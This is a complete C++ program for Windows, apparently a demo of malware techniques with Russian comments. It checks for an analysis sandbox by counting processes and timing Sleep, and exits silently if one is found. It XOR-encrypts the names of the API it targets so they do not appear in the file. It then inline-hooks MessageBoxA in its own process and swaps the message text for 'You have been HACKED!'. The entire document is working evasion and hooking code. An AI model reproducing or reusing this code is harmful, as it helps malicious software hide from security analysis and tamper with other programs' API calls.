Загрузка данных


#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <cstring>

// --- Глобальные переменные для хука ---
FARPROC messageBoxAddress = NULL;
SIZE_T bytesWritten = 0;
char messageBoxOriginalBytes[6] = {};
char patch[6] = { 0 };

// --- 1. Функция расшифровки строк (XOR) ---
void Decrypt(char* str, size_t len) {
    for (size_t i = 0; i < len; i++) str[i] ^= 0xAA;
}

// --- 2. Проверки на Песочницу (Sandbox Evasion) ---

// Проверка на количество процессов (в песочнице их мало)
bool CheckProcesses() {
    int count = 0;
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot != INVALID_HANDLE_VALUE) {
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(PROCESSENTRY32);
        if (Process32First(hSnapshot, &pe32)) {
            do { count++; } while (Process32Next(hSnapshot, &pe32));
        }
        CloseHandle(hSnapshot);
    }
    std::cout << "[*] Processes running: " << count << "\n";
    return (count < 30); // Если меньше 30 - это песочница
}

// Проверка на "ускорение времени" (Sleep Skipping)
bool CheckSleepTiming() {
    DWORD start = GetTickCount();
    Sleep(2000); // Спим 2 секунды
    DWORD end = GetTickCount();
    DWORD elapsed = end - start;
    std::cout << "[*] Sleep(2000) actually took: " << elapsed << " ms\n";
    return (elapsed < 1500); // Если прошло меньше 1.5 сек - песочница
}

// Главная проверка
bool IsSandboxed() {
    std::cout << "--- Running Sandbox Checks ---\n";
    return CheckProcesses() || CheckSleepTiming();
}

// --- 3. Функция-перехватчик (Хук) ---
int __stdcall HookedMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {
    std::cout << "\n[!] HOOK TRIGGERED!\n";
    std::cout << "Original Text: " << lpText << "\n";
    std::cout << "Changing text to: You have been HACKED!\n";

    // Снимаем хук (возвращаем оригинальные байты)
    WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, messageBoxOriginalBytes, sizeof(messageBoxOriginalBytes), &bytesWritten);
    std::cout << "[*] Hook temporarily removed.\n";

    // Вызываем оригинальную функцию с ПОДМЕНЕННЫМ текстом
    int result = MessageBoxA(NULL, "You have been HACKED!", lpCaption, uType);

    // Возвращаем хук обратно
    WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, patch, sizeof(patch), &bytesWritten);
    std::cout << "[*] Hook re-applied.\n";

    return result;
}

// --- 4. Основная программа ---
int main() {
    // ШАГ 1: Проверка на песочницу. Если это песочница - выходим тихо.
    if (IsSandboxed()) {
        std::cout << "\n[-] Sandbox detected! Exiting silently.\n";
        return 0; 
    }

    std::cout << "\n[+] Looks like a real machine. Proceeding with hook...\n";

    // ШАГ 2: Расшифровываем строки (в файле их нет, они появляются только в памяти)
    char encUser32[] = { 0xDF, 0xD9, 0xCF, 0xD8, 0x99, 0x98, 0x84, 0xCE, 0xC6, 0xC6, 0x00 }; 
    char encMsgBox[] = { 0xE7, 0xCF, 0xD9, 0xD9, 0xCB, 0xCD, 0xCF, 0xE8, 0xC5, 0xD2, 0xEB, 0x00 };
    
    Decrypt(encUser32, sizeof(encUser32) - 1);
    Decrypt(encMsgBox, sizeof(encMsgBox) - 1);

    // ШАГ 3: Находим адрес функции и сохраняем оригинальные байты
    HINSTANCE library = LoadLibraryA(encUser32);
    messageBoxAddress = GetProcAddress(library, encMsgBox);
    
    if (!messageBoxAddress) {
        std::cerr << "[-] Failed to find MessageBoxA\n";
        return 1;
    }

    ReadProcessMemory(GetCurrentProcess(), messageBoxAddress, messageBoxOriginalBytes, 6, NULL);

    // ШАГ 4: Создаем патч и устанавливаем хук
    void *hookedAddr = &HookedMessageBox;
    memcpy_s(patch, 1, "\x68", 1); // PUSH
    memcpy_s(patch + 1, 4, &hookedAddr, 4); // Адрес нашей функции
    memcpy_s(patch + 5, 1, "\xC3", 1); // RET

    WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, patch, sizeof(patch), &bytesWritten);

    // ШАГ 5: Проверяем работу хука
    std::cout << "\n--- Calling MessageBoxA (Hook is active) ---\n";
    MessageBoxA(NULL, "This is the original text", "Hooked", MB_OK);

    return 0;
}